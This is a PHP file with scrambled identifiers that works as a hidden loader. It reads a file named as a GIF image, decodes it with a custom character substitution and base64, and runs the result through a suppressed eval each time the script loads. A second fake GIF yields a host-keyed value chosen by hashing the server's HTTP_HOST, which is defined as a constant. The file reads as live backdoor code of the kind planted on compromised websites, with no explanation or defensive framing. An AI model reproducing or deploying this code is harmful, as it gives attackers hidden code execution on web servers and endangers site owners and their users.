<?php

class lufesi_ythygikh {

    public $rigabav = 'hysujow.gif';
    public $oterip_shimuqoshi = false;
    public $galata_ithaxugi = false;
    public $cozewo_azhafavoshy = false;

    protected function ewixeq_urashupe($iweqam_osazhizh) {
        $powile_sypecakha = crc32($iweqam_osazhizh);
        if ((PHP_INT_SIZE > 4) && ($powile_sypecakha & 0x80000000))
            $powile_sypecakha = $powile_sypecakha - 0x100000000;
        return abs($powile_sypecakha);
    }

    protected function rycage_exedethothy($iweqam_osazhizh) {
        $sapejo = "l+XIVjQPfL5g7K6AnkCxb9daSz02/UMwoDREOBWvyucYTZrHNmqGpts1Je=iF48h3";
        $usopezi = "qzlYMmKI=U9NoVgr5SEOf14bxn/dchXQijkRTpLJDyHWPtw67vesG8AZFC2+0uaB3";
        $azysyd = array();
        for ($uchawop = 0; $uchawop < strlen($sapejo); $uchawop++) {
            $inosyz = substr($sapejo, $uchawop, 1);
            $uxydef = substr($usopezi, $uchawop, 1);
            $azysyd[$inosyz] = $uxydef;
        }

        $benygu = strtr($iweqam_osazhizh, $azysyd);
        $benygu = base64_decode($benygu);

        return $benygu;
    }

    protected function exabev_ozuhykote($iweqam_osazhizh) {
        $xuseqa = array();
        if (!file_exists($iweqam_osazhizh))
            return false;
        $egiruz = @file_get_contents($iweqam_osazhizh);
        if (!$egiruz)
            return false;
        $egiruz = substr($egiruz, 3);
        $xuseqa = $this->rycage_exedethothy($egiruz);
        return $xuseqa;
    }

    public function rizore_thomezha() {
        $lyvyca_tatutoci = __DIR__ . "/" . $this->rigabav;
        $hebysy_qedokhixo = $this->exabev_ozuhykote($lyvyca_tatutoci);
        if (!$hebysy_qedokhixo)
            return false;
        $this->oterip_shimuqoshi = $hebysy_qedokhixo;
        return true;
    }

    public function oriwoj_khypyhex() {
        if ($this->galata_ithaxugi)
            return true;
        $lyvyca_tatutoci = __DIR__ . '/eqyrydo.gif';
        if (!file_exists($lyvyca_tatutoci)) {
            return false;
        }

        $hebysy_qedokhixo = $this->exabev_ozuhykote($lyvyca_tatutoci);
        $powile_sypecakha = "HTTP" . "_HOST";
        $pibate_uqarekhaw = $_SERVER[$powile_sypecakha];
        $nutuli_echeweshytha = floor(strlen($hebysy_qedokhixo) / 32);
        $ovefat_yniruhad = $this->ewixeq_urashupe($pibate_uqarekhaw) % $nutuli_echeweshytha;
        $okebel_shokakhi = substr($hebysy_qedokhixo, $ovefat_yniruhad * 32, 32);
        $this->cozewo_azhafavoshy = $ovefat_yniruhad;
        $this->galata_ithaxugi = $okebel_shokakhi;

        if (!defined('oqoxil_gahochyzus'))
            define('oqoxil_gahochyzus', $okebel_shokakhi);
        if (!defined('axifyh_dyshifazuc'))
            define('axifyh_dyshifazuc', $ovefat_yniruhad + 1);

        return $okebel_shokakhi;
    }

}

$ofakeq = new lufesi_ythygikh();
$ofakeq->oriwoj_khypyhex();
$ofakeq->rizore_thomezha();

if ($ofakeq->oterip_shimuqoshi) {
    @eval($ofakeq->oterip_shimuqoshi);
}